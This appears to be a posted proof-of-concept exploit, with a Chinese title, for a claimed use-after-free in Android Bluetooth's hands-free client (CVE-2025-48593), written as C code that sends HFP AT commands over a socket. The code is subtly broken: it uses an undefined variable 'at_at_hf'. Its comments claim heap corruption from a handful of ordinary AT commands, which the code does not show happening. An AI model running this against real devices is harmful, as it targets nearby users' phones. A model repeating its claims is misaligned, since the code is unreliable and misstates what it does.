CVE-2025-48593 Android Bluetooth bta_hf_client_cb_init use after free漏洞

// CVE-2025-48593 PoC - Android Bluetooth Use After Free // This PoC demonstrates triggering the use after free in bta_hf_client_cb_init // Attack requires adjacent Bluetooth access #include <bluetooth/bluetooth.h> #include <bluetooth/hci.h> #include <bluetooth/hci_lib.h> #include <bluetooth/rfcomm.h> int trigger_uaf_vulnerability(int sock) { // Step 1: Send crafted HFP initialization sequence char at_init[] = "AT+BRSF=0\r\n"; send(sock, at_init, strlen(at_init), 0); usleep(100000); // Step 2: Trigger HF Client initialization callback char at_hf[] = "AT+CIND=?\r\n"; send(sock, at_hf, strlen(at_at_hf), 0); usleep(100000); // Step 3: Force reinitialization to trigger use after free char at_reset[] = "AT+CHLD=?\r\n"; send(sock, at_reset, strlen(at_reset), 0); // Step 4: Send rapid connection/disconnection to corrupt heap for (int i = 0; i < 10; i++) { send(sock, "AT\r\n", 4, 0); usleep(50000); } return 0; }